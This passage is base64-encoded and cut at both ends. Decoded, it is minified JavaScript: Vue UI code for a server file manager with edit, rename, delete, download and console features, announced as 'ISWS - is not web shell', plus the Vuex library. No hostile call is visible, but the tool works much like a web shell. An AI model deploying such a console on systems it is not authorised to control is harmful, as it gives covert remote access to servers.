giLG5hbWU6Im1fZmlsZXMiLCJvblVwZGF0ZTptb2RlbFZhbHVlIjp0WzQ1XXx8KHRbNDVdPXk9PmUubV9maWxlcz15KSx2YWx1ZTphLmZ1bGxfcGF0aH0sbnVsbCw4LFVkKSxbW2RuLGUubV9maWxlc11dKSxQKCIgIyIrVyhlLm5pY2VJbnROdW1iZXIocCtyLmZpbHRlcmVkRGlycy5sZW5ndGgrMSwiMDAwIikpLDEpXSksZCgic3BhbiIse2NsYXNzOiJ0aHJlZSB0ZXh0LW92ZXJmbG93IGZpbGUtbmFtZSIsdGl0bGU6YS5kaXJfbmFtZX0sW2QoImEiLHtocmVmOiIjIixvbkNsaWNrOnk9PnIub3BlbkZpbGUocCwic2hvdyIpLHRpdGxlOmEuYmFzZV9uYW1lfSxXKGEuYmFzZV9uYW1lKSw5LFZkKV0sOCxIZCksZCgic3BhbiIsamQsW2QoImEiLHt0aXRsZToiT3BlbiBpbiBuZXcgdGFiIixocmVmOnIuYnJvd3NlclBhdGgoYS5mdWxsX3BhdGgpLHRhcmdldDoiX2JsYW5rIn0sWyQocSldLDgsQmQpLGQoImEiLHt0aXRsZToiRG93bmxvYWQiLGNsYXNzOiJkb3dubG9hZCIsaHJlZjoiIyIsb25DbGljazp5PT5yLmRvd25sb2FkRmlsZShwKX0sWyQoWildLDgsR2QpLGQoImEiLHt0aXRsZToiRWRpdCIsY2xhc3M6ImVkaXQiLGhyZWY6IiMiLG9uQ2xpY2s6eT0+ci5vcGVuRmlsZShwLCJlZGl0Iil9LFskKHVlKV0sOCxLZCksZCgiYSIse3RpdGxlOiJDb3B5IixjbGFzczoiZWRpdCIsaHJlZjoiIyIsb25DbGljazp5PT5lLmNvcGllZF9maWxlPWEuZnVsbF9wYXRofSxbJCh0ZSldLDgsemQpLGQoInNwYW4iLG51bGwsW2UuYmVpbmdfZWRpdGVkX2ZpbGUmJmEuZnVsbF9wYXRoPT09ZS5iZWluZ19lZGl0ZWRfZmlsZS5mdWxsX3BhdGg/KFMoKSxrKCJzcGFuIixXZCxbZ2UoZCgiaW5wdXQiLHt0eXBlOiJ0ZXh0IixjbGFzczoibmljZV9pbnB1dCIscGxhY2Vob2xkZXI6ImZpbGUgbmFtZSIsIm9uVXBkYXRlOm1vZGVsVmFsdWUiOnRbNDZdfHwodFs0Nl09eT0+ZS5yZW5hbWVfbmV3X25hbWU9eSl9LG51bGwsNTEyKSxbW2plLGUucmVuYW1lX25ld19uYW1lXV0pLGQoInNwYW4iLHtrZXk6ImJ0bi1jbG9zZSIsY2xhc3M6ImJ1dHRvbi1jbG9zZSIsb25DbGljazp0WzQ3XXx8KHRbNDddPXk9PmUuYmVpbmdfZWRpdGVkX2ZpbGU9bnVsbCl9LFskKGwse2NsYXNzOiJyZWQifSx7ZGVmYXVsdDphZSgoKT0+W1AoIkNhbmNlbCIpXSksXzoxfSldKSxkKCJzcGFuIixKZCxbJChjLHtvbkNsaWNrOnk9PnIucmVuYW1lRmlsZShhKSxjbGFzczp6KHtncmV5OmUucmVuYW1lX25ld19uYW1lPT09YS5iYXNlX25hbWV8fGUucmVuYW1lX25ld19uYW1lPT09IiJ9KX0se2RlZmF1bHQ6YWUoKCk9PltQKCJSZU5hbWUiKV0pLF86Mn0sMTAzMixbIm9uQ2xpY2siLCJjbGFzcyJdKV0pXSkpOihTKCksaygiYSIse2tleToxLHRpdGxlOiJSZW5hbWUiLG9uQ2xpY2s6eT0+e2UuYmVpbmdfZWRpdGVkX2ZpbGU9YSxlLnJlbmFtZV9uZXdfbmFtZT1hLmJhc2VfbmFtZX0sY2xhc3M6InJlbmFtZSJ9LFskKFgpXSw4LFlkKSldKSxkKCJhIix7dGl0bGU6IkRlbGV0ZSIsY2xhc3M6InJlZCIsaHJlZjoiIyIsb25DbGljazp5PT5yLmRlbGV0ZUZpbGUoYSl9LFskKEopXSw4LHFkKV0pLGQoInNwYW4iLHtjbGFzczp6KFsib25lIix7cmVkOmEudHlwZT09PSJzdXNwaWNpb3VzIn1dKX0sW2QoInN0cm9uZyIsbnVsbCxXKGEudHlwZSksMSldLDIpLGQoInNwYW4iLFhkLFcoYS5taW1lX3R5cGUpLDEpLGQoInNwYW4iLHtjbGFzczp6KFsidHdvIGNlbnQgZmFkZWQiLFsib25lIix7cmVkOmEudHlwZT09PSJzdXNwaWNpb3VzIn1dXSl9LFcoYS5tZXNzYWdlKSwzKSxkKCJzcGFuIix7Y2xhc3M6Im9uZSBjZW50Iix0aXRsZTplLm93bmVyX2lkPT09YS5vd25lcl9pZD8ic2FtZSBvd25lciI6ImRpZmZlcmVudCBvd25lciJ9LFcoYS5vd25lcisiKCIrYS5vd25lcl9pZCsiKSIpLDksWmQpLGQoInNwYW4iLFFkLFtkKCJzdHJvbmciLG51bGwsVyhhLnBlcm1pc3Npb25zKSwxKSxhLndyaXRlYWJsZT8oUygpLGsoInN0cm9uZyIsdGgsIlciKSk6KFMoKSxrKCJzdHJvbmciLGVoLCJSIikpXSksZCgic3BhbiIsbmgsW2QoImEiLHt0aXRsZTplLmh1bWFuRmlsZVNpemUoYS5zaXplKX0sVyhlLmh1bWFuRmlsZVNpemUoYS5zaXplKSksOSxzaCldKSxkKCJzcGFuIixyaCxbZCgiYSIse3RpdGxlOmEubGFzdF9hY2Nlc3NlZH0sVyhhLmxhc3RfYWNjZXNzZWQpLDksb2gpXSksZCgic3BhbiIsaWgsW2QoImEiLHt0aXRsZTphLmxhc3RfbW9kaWZpZWR9LFcoYS5sYXN0X21vZGlmaWVkKSw5LGxoKV0pXSwyKSxyLnNlbGVjdGVkRmlsZSYmci5zZWxlY3RlZEZpbGUuZnVsbF9wYXRoPT09YS5mdWxsX3BhdGg/KFMoKSxCZShqLHtrZXk6MCwibW9kZS1zdGFydCI6ZS5zb3VyY2VfZGlhbG9nX21vZGUsImZpbGUtcGF0aCI6ci5zZWxlY3RlZEZpbGUuZnVsbF9wYXRoLCJoaWRlLW1lIjpyLmNsb3NlRmlsZSwicmVmcmVzaC1saXN0IjpyLmdldE1haW5JbmZvLCJuZXh0LWZpbGUiOnIubmV4dEZpbGUsInByZXYtZmlsZSI6ci5wcmV2RmlsZX0sbnVsbCw4LFsibW9kZS1zdGFydCIsImZpbGUtcGF0aCIsImhpZGUtbWUiLCJyZWZyZXNoLWxpc3QiLCJuZXh0LWZpbGUiLCJwcmV2LWZpbGUiXSkpOiRlKCIiLCEwKV0sNjQpKSksMTI4KSldLDIpKTokZSgiIiwhMCldKV0pLGdlKCQobGUsbnVsbCxudWxsLDUxMiksW1ttdCxlLmJvdHRvbV9wYW5lbF9tb2RlPT09ImxvZyJdXSksZ2UoJChOLHtkaXJlY3Rvcnk6ci53b3JraW5nX2RpcmVjdG9yeSxwYW5lbF9tb2RlOmUuYm90dG9tX3BhbmVsX21vZGV9LG51bGwsOCxbImRpcmVjdG9yeSIsInBhbmVsX21vZGUiXSksW1ttdCxlLmJvdHRvbV9wYW5lbF9tb2RlPT09ImNvbnNvbGUiXV0pLGQoImRpdiIsY2gsW2FoLGQoImJ1dHRvbiIse2NsYXNzOnooW1t7YWN0aXZlOmUuYm90dG9tX3BhbmVsX21vZGU9PT0ibG9nIn1dLCJ5ZWxsb3ciXSksb25DbGljazp0WzQ4XXx8KHRbNDhdPWE9PmUuYm90dG9tX3BhbmVsX21vZGU9ImxvZyIpfSxbJChuZSldLDIpLGQoImJ1dHRvbiIse2NsYXNzOnooW3thY3RpdmU6ZS5ib3R0b21fcGFuZWxfbW9kZT09PSJjb25zb2xlIn1dKSxvbkNsaWNrOnRbNDldfHwodFs0OV09YT0+ZS5ib3R0b21fcGFuZWxfbW9kZT0iY29uc29sZSIpfSxbJChzZSldLDIpLHVoXSldKX1jb25zdCBabz1ubihBZixbWyJyZW5kZXIiLGZoXSxbIl9fc2NvcGVJZCIsImRhdGEtdi1hMDI2ODc3NCJdXSksZGg9e25hbWU6ImFwcCIsY29tcG9uZW50czp7TWFpblNjcmVlbjpab30sbW91bnRlZCgpe3RoaXMuJHN0b3JlLmRpc3BhdGNoKCJVSS9hZGRNZXNzYWdlIiwiSGVsbG8hIElTV1MgLSBpcyBub3Qgd2ViIHNoZWxsIiksdGhpcy4kc3RvcmUuZGlzcGF0Y2goIlVJL2FkZE1lc3NhZ2UiLCI8c3Ryb25nPlI8L3N0cm9uZz4gLSBSZWxvYWQsIDxzdHJvbmc+Rzwvc3Ryb25nPiAtIEdvVG8sIDxzdHJvbmc+Rjwvc3Ryb25nPiAtIFNlYXJjaCwgPHN0cm9uZz5DVEwrVVA8L3N0cm9uZz4gLSBHbyB0byBwYXJlbnQgZGlyIil9fSxoaD17aWQ6ImFwcCJ9O2Z1bmN0aW9uIF9oKGUsdCxuLHMsbyxyKXtjb25zdCBpPVpvO3JldHVybiBTKCksaygiZGl2IixoaCxbJChpKV0pfWNvbnN0IHBoPW5uKGRoLFtbInJlbmRlciIsX2hdXSk7ZnVuY3Rpb24gZ2goKXtyZXR1cm4gUW8oKS5fX1ZVRV9ERVZUT09MU19HTE9CQUxfSE9PS19ffWZ1bmN0aW9uIFFvKCl7cmV0dXJuIHR5cGVvZiBuYXZpZ2F0b3I8InUiJiZ0eXBlb2Ygd2luZG93PCJ1Ij93aW5kb3c6dHlwZW9mIGdsb2JhbDwidSI/Z2xvYmFsOnt9fWNvbnN0IG1oPXR5cGVvZiBQcm94eT09ImZ1bmN0aW9uIix2aD0iZGV2dG9vbHMtcGx1Z2luOnNldHVwIix5aD0icGx1Z2luOnNldHRpbmdzOnNldCI7bGV0IEx0LHZzO2Z1bmN0aW9uIHdoKCl7dmFyIGU7cmV0dXJuIEx0IT09dm9pZCAwfHwodHlwZW9mIHdpbmRvdzwidSImJndpbmRvdy5wZXJmb3JtYW5jZT8oTHQ9ITAsdnM9d2luZG93LnBlcmZvcm1hbmNlKTp0eXBlb2YgZ2xvYmFsPCJ1IiYmKCEoKGU9Z2xvYmFsLnBlcmZfaG9va3MpPT09bnVsbHx8ZT09PXZvaWQgMCkmJmUucGVyZm9ybWFuY2UpPyhMdD0hMCx2cz1nbG9iYWwucGVyZl9ob29rcy5wZXJmb3JtYW5jZSk6THQ9ITEpLEx0fWZ1bmN0aW9uIGJoKCl7cmV0dXJuIHdoKCk/dnMubm93KCk6RGF0ZS5ub3coKX1jbGFzcyBFaHtjb25zdHJ1Y3Rvcih0LG4pe3RoaXMudGFyZ2V0PW51bGwsdGhpcy50YXJnZXRRdWV1ZT1bXSx0aGlzLm9uUXVldWU9W10sdGhpcy5wbHVnaW49dCx0aGlzLmhvb2s9bjtjb25zdCBzPXt9O2lmKHQuc2V0dGluZ3MpZm9yKGNvbnN0IGkgaW4gdC5zZXR0aW5ncyl7Y29uc3QgbD10LnNldHRpbmdzW2ldO3NbaV09bC5kZWZhdWx0VmFsdWV9Y29uc3Qgbz1gX192dWUtZGV2dG9vbHMtcGx1Z2luLXNldHRpbmdzX18ke3QuaWR9YDtsZXQgcj1PYmplY3QuYXNzaWduKHt9LHMpO3RyeXtjb25zdCBpPWxvY2FsU3RvcmFnZS5nZXRJdGVtKG8pLGw9SlNPTi5wYXJzZShpKTtPYmplY3QuYXNzaWduKHIsbCl9Y2F0Y2h7fXRoaXMuZmFsbGJhY2tzPXtnZXRTZXR0aW5ncygpe3JldHVybiByfSxzZXRTZXR0aW5ncyhpKXt0cnl7bG9jYWxTdG9yYWdlLnNldEl0ZW0obyxKU09OLnN0cmluZ2lmeShpKSl9Y2F0Y2h7fXI9aX0sbm93KCl7cmV0dXJuIGJoKCl9fSxuJiZuLm9uKHloLChpLGwpPT57aT09PXRoaXMucGx1Z2luLmlkJiZ0aGlzLmZhbGxiYWNrcy5zZXRTZXR0aW5ncyhsKX0pLHRoaXMucHJveGllZE9uPW5ldyBQcm94eSh7fSx7Z2V0OihpLGwpPT50aGlzLnRhcmdldD90aGlzLnRhcmdldC5vbltsXTooLi4uYyk9Pnt0aGlzLm9uUXVldWUucHVzaCh7bWV0aG9kOmwsYXJnczpjfSl9fSksdGhpcy5wcm94aWVkVGFyZ2V0PW5ldyBQcm94eSh7fSx7Z2V0OihpLGwpPT50aGlzLnRhcmdldD90aGlzLnRhcmdldFtsXTpsPT09Im9uIj90aGlzLnByb3hpZWRPbjpPYmplY3Qua2V5cyh0aGlzLmZhbGxiYWNrcykuaW5jbHVkZXMobCk/KC4uLmMpPT4odGhpcy50YXJnZXRRdWV1ZS5wdXNoKHttZXRob2Q6bCxhcmdzOmMscmVzb2x2ZTooKT0+e319KSx0aGlzLmZhbGxiYWNrc1tsXSguLi5jKSk6KC4uLmMpPT5uZXcgUHJvbWlzZShmPT57dGhpcy50YXJnZXRRdWV1ZS5wdXNoKHttZXRob2Q6bCxhcmdzOmMscmVzb2x2ZTpmfSl9KX0pfWFzeW5jIHNldFJlYWxUYXJnZXQodCl7dGhpcy50YXJnZXQ9dDtmb3IoY29uc3QgbiBvZiB0aGlzLm9uUXVldWUpdGhpcy50YXJnZXQub25bbi5tZXRob2RdKC4uLm4uYXJncyk7Zm9yKGNvbnN0IG4gb2YgdGhpcy50YXJnZXRRdWV1ZSluLnJlc29sdmUoYXdhaXQgdGhpcy50YXJnZXRbbi5tZXRob2RdKC4uLm4uYXJncykpfX1mdW5jdGlvbiBTaChlLHQpe2NvbnN0IG49ZSxzPVFvKCksbz1naCgpLHI9bWgmJm4uZW5hYmxlRWFybHlQcm94eTtpZihvJiYocy5fX1ZVRV9ERVZUT09MU19QTFVHSU5fQVBJX0FWQUlMQUJMRV9ffHwhcikpby5lbWl0KHZoLGUsdCk7ZWxzZXtjb25zdCBpPXI/bmV3IEVoKG4sbyk6bnVsbDsocy5fX1ZVRV9ERVZUT09MU19QTFVHSU5TX189cy5fX1ZVRV9ERVZUT09MU19QTFVHSU5TX198fFtdKS5wdXNoKHtwbHVnaW5EZXNjcmlwdG9yOm4sc2V0dXBGbjp0LHByb3h5Oml9KSxpJiZ0KGkucHJveGllZFRhcmdldCl9fS8qIQogKiB2dWV4IHY0LjEuMAogKiAoYykgMjAyMiBFdmFuIFlvdQogKiBAbGljZW5zZSBNSVQKICovdmFyIEloPSJzdG9yZSI7ZnVuY3Rpb24ganQoZSx0KXtPYmplY3Qua2V5cyhlKS5mb3JFYWNoKGZ1bmN0aW9uKG4pe3JldHVybiB0KGVbbl0sbil9KX1mdW5jdGlvbiBDaChlKXtyZXR1cm4gZSE9PW51bGwmJnR5cGVvZiBlPT0ib2JqZWN0In1mdW5jdGlvbiBraChlKXtyZXR1cm4gZSYmdHlwZW9mIGUudGhlbj09ImZ1bmN0aW9uIn1mdW5jdGlvbiBPaChlLHQpe3JldHVybiBmdW5jdGlvbigpe3JldHVybiBlKHQpfX1mdW5jdGlvbiBlaShlLHQsbil7cmV0dXJuIHQuaW5kZXhPZihlKTwwJiYobiYmbi5wcmVwZW5kP3QudW5zaGlmdChlKTp0LnB1c2goZSkpLGZ1bmN0aW9uKCl7dmFyIHM9dC5pbmRleE9mKGUpO3M+LTEmJnQuc3BsaWNlKHMsMSl9fWZ1bmN0aW9uIHRpKGUsdCl7ZS5fYWN0aW9ucz1PYmplY3QuY3JlYXRlKG51bGwpLGUuX211dGF0aW9ucz1PYmplY3QuY3JlYXRlKG51bGwpLGUuX3dyYXBwZWRHZXR0ZXJzPU9iamVjdC5jcmVhdGUobnVsbCksZS5fbW9kdWxlc05hbWVzcGFjZU1hcD1PYmplY3QuY3JlYXRlKG51bGwpO3ZhciBuPWUuc3RhdGU7Vm4oZSxuLFtdLGUuX21vZHVsZXMucm9vdCwhMCksVXMoZSxuLHQpfWZ1bmN0aW9uIFVzKGUsdCxuKXt2YXIgcz1lLl9zdGF0ZSxvPWUuX3Njb3BlO2UuZ2V0dGVycz17fSxlLl9tYWtlTG9jYWxHZXR0ZXJzQ2FjaGU9T2JqZWN0LmNyZWF0ZShudWxsKTt2YXIgcj1lLl93cmFwcGVkR2V0dGVycyxpPXt9LGw9e30sYz1JaSghMCk7Yy5ydW4oZnVuY3Rpb24oKXtqdChyLGZ1bmN0aW9uKGYsXyl7aVtfXT1PaChmLGUpLGxbX109Um8oZnVuY3Rpb24oKXtyZXR1cm4gaVtfXSgpfSksT2JqZWN0LmRlZmluZVByb3BlcnR5KGUuZ2V0dGVycyxfLHtnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gbFtfXS52YWx1ZX0sZW51bWVyYWJsZTohMH0pfSl9KSxlLl9zdGF0ZT1Nbih7ZGF0YTp0fSksZS5fc2NvcGU9YyxlLnN0cmljdCYmTGgoZSkscyYmbiYmZS5fd2l0aENvbW1pdChmdW5jdGlvbigpe3MuZGF0YT1udWxsfSksbyYmby5zdG9wKCl9ZnVuY3Rpb24gVm4oZSx0LG4scyxvKXt2YXIgcj0hbi5sZW5ndGgsaT1lLl9tb2R1bGVzLmdldE5hbWVzcGFjZShuKTtpZihzLm5hbWVzcGFjZWQmJihlLl9tb2R1bGVzTmFtZXNwYWNlTWFwW2ldLGUuX21vZHVsZXNOYW1lc3BhY2VNYXBbaV09cyksIXImJiFvKXt2YXIgbD1Icyh0LG4uc2xpY2UoMCwtMSkpLGM9bltuLmxlbmd0aC0xXTtlLl93aXRoQ29tbWl0KGZ1bmN0aW9uKCl7bFtjXT1zLnN0YXRlfSl9dmFyIGY9cy5jb250ZXh0PXhoKGUsaSxuKTtzLmZvckVhY2hNdXRhdGlvbihmdW5jdGlvbihfLGcpe3ZhciB2PWkrZztUaChlLHYsXyxmKX0pLHMuZm9yRWFjaEFjdGlvbihmdW5jdGlvbihfLGcpe3ZhciB2PV8ucm9vdD9nOmkrZyxUPV8uaGFuZGxlcnx8XztBaChlLHYsVCxmKX0pLHMuZm9yRWFjaEdldHRlcihmdW5jdGlvbihfLGcpe3ZhciB2PWkrZztNaChlLHYsXyxmKX0pLHMuZm9yRWFjaENoaWxkKGZ1bmN0aW9uKF8sZyl7Vm4oZSx0LG4uY29uY2F0KGcpLF8sbyl9KX1mdW5jdGlvbiB4aChlLHQsbil7dmFyIHM9dD09PSIiLG89e2Rpc3BhdGNoOnM/ZS5kaXNwYXRjaDpmdW5jdGlvbihyLGksbCl7dmFyIGM9Q24ocixpLGwpLGY9Yy5wYXlsb2FkLF89Yy5vcHRpb25zLGc9Yy50eXBlO3JldHVybighX3x8IV8ucm9vdCkmJihnPXQrZyksZS5kaXNwYXRjaChnLGYpfSxjb21taXQ6cz9lLmNvbW1pdDpmdW5jdGlvbihyLGksbCl7dmFyIGM9Q24ocixpLGwpLGY9Yy5wYXlsb2FkLF89Yy5vcHRpb25zLGc9Yy50eXBlOyghX3x8IV8ucm9vdCkmJihnPXQrZyksZS5jb21taXQoZyxmLF8pfX07cmV0dXJuIE9iamVjdC5kZWZpbmVQcm9wZXJ0aWVzKG8se2dldHRlcnM6e2dldDpzP2Z1bmN0aW9uKCl7cmV0dXJuIGUuZ2V0dGVyc306ZnVuY3Rpb24oKXtyZXR1cm4gbmkoZSx0KX19LHN0YXRlOntnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gSHMoZS5zdGF0ZSxuKX19fSksb31mdW5jdGlvbiBuaShlLHQpe2lmKCFlLl9tYWtlTG9jYWxHZXR0ZXJzQ2FjaGVbdF0pe3ZhciBuPXt9LHM9dC5sZW5ndGg7T2JqZWN0LmtleXMoZS5nZXR0ZXJzKS5mb3JFYWNoKGZ1bmN0aW9uKG8pe2lmKG8uc2xpY2UoMCxzKT09PXQpe3ZhciByPW8uc2xpY2Uocyk7T2JqZWN0LmRlZmluZVByb3BlcnR5KG4scix7Z2V0OmZ1bmN0aW9uKCl7cmV0dXJuIGUuZ2V0dGVyc1tvXX0sZW51bWVyYWJsZTohMH0pfX0pLGUuX21ha2VMb2NhbEdldHRlcnNDYWNoZVt0XT1ufXJldHVybiBlLl9tYWtlTG9jYWxHZXR0ZXJzQ2FjaGVbdF19ZnVuY3Rpb24gVGgoZSx0LG4scyl7dmFyIG89ZS5fbXV0YXRpb25zW3RdfHwoZS5fbXV0YXRpb25zW3RdPVtdKTtvLnB1c2goZnVuY3Rpb24oaSl7bi5jYWxsKGUscy5zdGF0ZSxpKX0pfWZ1bmN0aW9uIEFoKGUsdCxuLHMpe3ZhciBvPWUuX2FjdGlvbnNbdF18fChlLl9hY3Rpb25zW3RdPVtdKTtvLnB1c2goZnVuY3Rpb24oaSl7dmFyIGw9bi5jYWxsKGUse2Rpc3BhdGNoOnMuZGlzcGF0Y2gsY29tbWl0OnMuY29tbWl0LGdldHRlcnM6cy5nZXR0ZXJzLHN0YXRlOnMuc3RhdGUscm9vdEdldHRlcnM6ZS5nZXR0ZXJzLHJvb3RTdGF0ZTplLnN0YXRlfSxpKTtyZXR1cm4ga2gobCl8fChsPVByb21pc2UucmVzb2x2ZShsKSksZS5fZGV2dG9vbEhvb2s/bC5jYXRjaChmdW5jdGlvbihjKXt0aHJvdyBlLl9kZXZ0b29sSG9vay5lbWl0KCJ2dWV4OmVycm9yIixjKSxjfSk6bH0pfWZ1bmN0aW9uIE1oKGUsdCxuLHMpe2UuX3dyYXBwZWRHZXR0ZXJzW3RdfHwoZS5fd3JhcHBlZEdldHRlcnNbdF09ZnVuY3Rpb24ocil7cmV0dXJuIG4ocy5zdGF0ZSxzLmdldHRlcnMsci5zdGF0ZSxyLmdldHRlcnMpfSl9ZnVuY3Rpb24gTGgoZSl7V3QoZnVuY3Rpb24oKXtyZXR1cm4gZS5fc3RhdGUuZGF0YX0sZnVuY3Rpb24oKXt9LHtkZWVwOiEwLGZsdXNoOiJzeW5jIn0pfWZ1bmN0aW9uIEhzKGUsdCl7cmV0dXJuIHQucmVkdWNlKGZ1bmN0aW9uKG4scyl7cmV0dXJuIG5bc119LGUpfWZ1bmN0aW9uIENuKGUsdCxuKXtyZXR1cm4gQ2goZSkmJmUudHlwZSYmKG49dCx0PWUsZT1lLnR5cGUpLHt0eXBlOmUscGF5bG9hZDp0LG9wdGlvbnM6bn19dmFyIEZoPSJ2dWV4IGJpbmRpbmdzIixMcj0idnVleDptdXRhdGlvbnMiLHRzPSJ2dWV4OmFjdGlvbnMiLEZ0PSJ2dWV4IixEaD0wO2Z1bmN0aW9uICRoKGUsdCl7U2goe2lkOiJvcmcudnVlanMudnVleCIsYXBwOmUsbGFiZWw6IlZ1ZXgiLGhvbWVwYWdlOiJodHRwczovL25leHQudnVleC52dWVqcy5vcmcvIixsb2dvOiJodHRwczovL3Z1ZWpzLm9yZy9pbWFnZXMvaWNvbnMvZmF2aWNvbi05Nng5Ni5wbmciLHBhY2thZ2VOYW1lOiJ2dWV4Iixjb21wb25lbnRTdGF0ZVR5cGVzOltGaF19LGZ1bmN0aW9uKG4pe24uYWRkVGltZWxpbmVMYXllcih7aWQ6THIsbGFiZWw6IlZ1ZXggTXV0YXRpb25zIixjb2xvcjpGcn0pLG4uYWRkVGltZWxpbmVMYXllcih7aWQ6dHMsbGFiZWw6IlZ1ZXggQWN0aW9ucyIsY29sb3I6RnJ9KSxuLmFkZEluc3BlY3Rvcih7aWQ6RnQsbGFiZWw6IlZ1ZXgiLGljb246InN0b3JhZ2UiLHRyZWVGaWx0ZXJQbGFjZWhvbGRlcjoiRmlsdGVyIHN0b3Jlcy4uLiJ9KSxuLm9uLmdldEluc3BlY3RvclRyZWUoZnVuY3Rpb24ocyl7aWYocy5hcHA9PT1lJiZzLmluc3BlY3RvcklkPT09RnQpaWYocy5maWx0ZXIpe3ZhciBvPVtdO2lpKG8sdC5fbW9kdWxlcy5yb290LHMuZmlsdGVyLCIiKSxzLnJvb3ROb2Rlcz1vfWVsc2Ugcy5yb290Tm9kZXM9W29pKHQuX21vZHVsZXMucm9vdCwiIildfSksbi5vbi5nZXRJbnNwZWN0b3JTdGF0ZShmdW5jdGlvbihzKXtpZihzLmFwcD09PWUmJnMuaW5zcGVjdG9ySWQ9PT1GdCl7dmFyIG89cy5ub2RlSWQ7bmkodCxvKSxzLnN0YXRlPVBoKEhoKHQuX21vZHVsZXMsbyksbz09PSJyb290Ij90LmdldHRlcnM6dC5fbWFrZUxvY2FsR2V0dGVyc0NhY2hlLG8pfX0pLG4ub24uZWRpdEluc3BlY3RvclN0YXRlKGZ1bmN0aW9uKHMpe2lmKHMuYXBwPT09ZSYmcy5pbnNwZWN0b3JJZD09PUZ0KXt2YXIgbz1zLm5vZGVJZCxyPXMucGF0aDtvIT09InJvb3QiJiYocj1vLnNwbGl0KCIvIikuZmlsdGVyKEJvb2xlYW4pLmNvbmNhdChyKSksdC5fd2l0aENvbW1pdChmdW5jdGlvbigpe3Muc2V0KHQuX3N0YXRlLmRhdGEscixzLnN0YXRlLnZhbHVlKX0pfX0pLHQuc3Vic2NyaWJlKGZ1bmN0aW9uKHMsbyl7dmFyIHI9e307cy5wYXlsb2FkJiYoci5wYXlsb2FkPXMucGF5bG9hZCksci5zdGF0ZT1vLG4ubm90aWZ5Q29tcG9uZW50VXBkYXRlKCksbi5zZW5kSW5zcGVjdG9yVHJlZShGdCksbi5zZW5kSW5zcGVjdG9yU3RhdGUoRnQpLG4uYWRkVGltZWxpbmVFdmVudCh7bGF5ZXJJZDpMcixldmVudDp7dGltZTpEYXRlLm5vdygpLHRpdGxlOnMudHlwZSxkYXRhOnJ9fSl9KSx0LnN1YnNjcmliZUFjdGlvbih7YmVmb3JlOmZ1bmN0aW9uKHMsbyl7dmFyIHI9e307cy5wYXlsb2FkJiYoci5wYXlsb2FkPXMucGF5bG9hZCkscy5faWQ9RGgrKyxzLl90aW1lPURhdGUubm93KCksci5zdGF0ZT1vLG4uYWRkVGltZWxpbmVFdmVudCh7bGF5ZXJJZDp0cyxldmVudDp7dGltZTpzLl90aW1lLHRpdGxlOnMudHlwZSxncm91cElkOnMuX2lkLHN1YnRpdGxlOiJzdGFydCIsZGF0YTpyfX0pfSxhZnRlcjpmdW5jdGlvbihzLG8pe3ZhciByPXt9LGk9RGF0ZS5ub3coKS1zLl90aW1lO3IuZHVyYXRpb249e19jdXN0b206e3R5cGU6ImR1cmF0aW9uIixkaXNwbGF5OmkrIm1zIix0b29sdGlwOiJBY3Rpb24gZHVyYXRpb24iLHZhbHVlOml9fSxzLnBheWxvYWQmJihyLnBheWxvYWQ9cy5wYXlsb2FkKSxyLnN0YXRlPW8sbi5hZGRUaW1lbGluZUV2ZW50KHtsYXllcklkOnRzLGV2ZW50Ont0aW1lOkRhdGUubm93KCksdGl0bGU6cy50eXBlLGdyb3VwSWQ6cy5faWQsc3VidGl0bGU6ImVuZCIsZGF0YTpyfX0pfX0pfSl9dmFyIEZyPTg3MDI5OTgsUmg9NjcxMDg4NixOaD0xNjc3NzIxNSxzaT17bGFiZWw6Im5hbWVzcGFjZWQiLHRleHRDb2xvcjpOaCxiYWNrZ3JvdW5kQ29sb3I6Umh9O2Z1bmN0aW9uIHJpKGUpe3JldHVybiBlJiZlIT09InJvb3QiP2Uuc3BsaXQoIi8iKS5zbGljZSgtMiwtMSlbMF06IlJvb3QifWZ1bmN0aW9uIG9pKGUsdCl7cmV0dXJue2lkOnR8fCJyb290IixsYWJlbDpyaSh0KSx0YWdzOmUubmFtZXNwYWNlZD9bc2ldOltdLGNoaWxkcmVuOk9iamVjdC5rZXlzKGUuX2NoaWxkcmVuKS5tYXAoZnVuY3Rpb24obil7cmV0dXJuIG9pKGUuX2NoaWxkcmVuW25dLHQrbisiLyIpfSl9fWZ1bmN0aW9uIGlpKGUsdCxuLHMpe3MuaW5jbHVkZXMobikmJmUucHVzaCh7aWQ6c3x8InJvb3QiLGxhYmVsOnMuZW5kc1dpdGgoIi8iKT9zLnNsaWNlKDAscy5sZW5ndGgtMSk6c3x8IlJvb3QiLHRhZ3M6dC5uYW1lc3BhY2VkP1tzaV06W119KSxPYmplY3Qua2V5cyh0Ll9jaGlsZHJlbikuZm9yRWFjaChmdW5jdGlvbihvKXtpaShlLHQuX2NoaWxkcmVuW29dLG4scytvKyIvIil9KX1mdW5jdGlvbiBQaChlLHQsbil7dD1uPT09InJvb3QiP3Q6dFtuXTt2YXIgcz1PYmplY3Qua2V5cyh0KSxvPXtzdGF0ZTpPYmplY3Qua2V5cyhlLnN0YXRlKS5tYXAoZnVuY3Rpb24oaSl7cmV0dXJue2tleTppLGVkaXRhYmxlOiEwLHZhbHVlOmUuc3RhdGVbaV19fSl9O2lmKHMubGVuZ3RoKXt2YXIgcj1VaCh0KTtvLmdldHRlcnM9T2JqZWN0LmtleXMocikubWFwKGZ1bmN0aW9uKGkpe3JldHVybntrZXk6aS5lbmRzV2l0aCgiLyIpP3JpKGkpOmksZWRpdGFibGU6ITEsdmFsdWU6eXMoZnVuY3Rpb24oKXtyZXR1cm4gcltpXX0pfX0pfXJldHVybiBvfWZ1bmN0aW9uIFVoKGUpe3ZhciB0PXt9O3JldHVybiBPYmplY3Qua2V5cyhlKS5mb3JFYWNoKGZ1bmN0aW9uKG4pe3ZhciBzPW4uc3BsaXQoIi8iKTtpZihzLmxlbmd0aD4xKXt2YXIgbz10LHI9cy5wb3AoKTtzLmZvckVhY2goZnVuY3Rpb24oaSl7b1tpXXx8KG9baV09e19jdXN0b206e3ZhbHVlOnt9LGRpc3BsYXk6aSx0b29sdGlwOiJNb2R1bGUiLGFic3RyYWN0OiEwfX0pLG89b1tpXS5fY3VzdG9tLnZhbHVlfSksb1tyXT15cyhmdW5jdGlvbigpe3JldHVybiBlW25dfSl9ZWxzZSB0W25dPXlzKGZ1bmN0aW9uKCl7cmV0dXJuIGVbbl19KX0pLHR9ZnVuY3Rpb24gSGgoZSx0KXt2YXIgbj10LnNwbGl0KCIvIikuZmlsdGVyKGZ1bmN0aW9uKHMpe3JldHVybiBzfSk7cmV0dXJuIG4ucmVkdWNlKGZ1bmN0aW9uKHMsbyxyKXt2